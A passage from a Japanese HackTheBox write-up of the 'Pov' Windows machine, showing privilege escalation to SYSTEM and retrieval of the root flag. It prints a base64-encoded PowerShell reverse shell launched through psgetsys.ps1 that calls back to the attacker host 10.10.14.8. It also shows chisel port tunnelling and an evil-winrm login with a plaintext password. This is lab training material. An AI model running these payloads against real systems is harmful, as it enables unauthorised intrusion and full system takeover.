PS C:\Users\Public\Downloads> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(552, "c:\Windows\System32\cmd.exe", "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting c:\Windows\System32\cmd.exe...True - pid: 1072 - Last error: 122
エラーが出力されてしまいました。。できればエラーが出てほしくなかったですが、このエラーを解消する必要があります。
エラーが出力される原因はシェルプロセスにあるので、chisel
で5985番ポートをトンネリングし、evil-winrm
で接続しなおします。
-- kali
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse
-- target
C:\Users\Public\Downloads>.\chisel.exe client 10.10.14.8:9999 R:5985:127.0.0.1:5985
ポート転送に成功したら、evil-winrm
で接続しましょう。
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ evil-winrm -i 127.0.0.1 -u alaading -p 'f8gQ8fynP44ek1m3'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alaading\Documents> whoami
pov\alaading
接続できたら、もう一度psgetsys.ps1
を実行しましょう
*Evil-WinRM* PS C:\Users\alaading\Downloads> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(552, "c:\Windows\System32\cmd.exe", "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")
特にエラーは出力されていません。待ち受けを確認しましょう。
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49702
PS C:\Windows\system32> whoami
nt authority\system
権限昇格に成功しました~!
PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/9/2024 1:22 AM 34 root.txt
ルートフラグも取得できました!完全攻略達成です!
攻略を終えて
今回のマシンはMediumにしてはかなり簡単だったかなと思います。というのも横移動からすべてインターネット上にまとまっている手法だったので、初見でも解きやすかったのではないでしょうか。私自身も知っている手法だったので、迷わずにサクサク攻略できました。
また、初期侵入時のLFIとRCEも脆弱性に気づきやすい感じでした。Windowsへの練習としてかなりおススメできるマシンだと思います。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました~!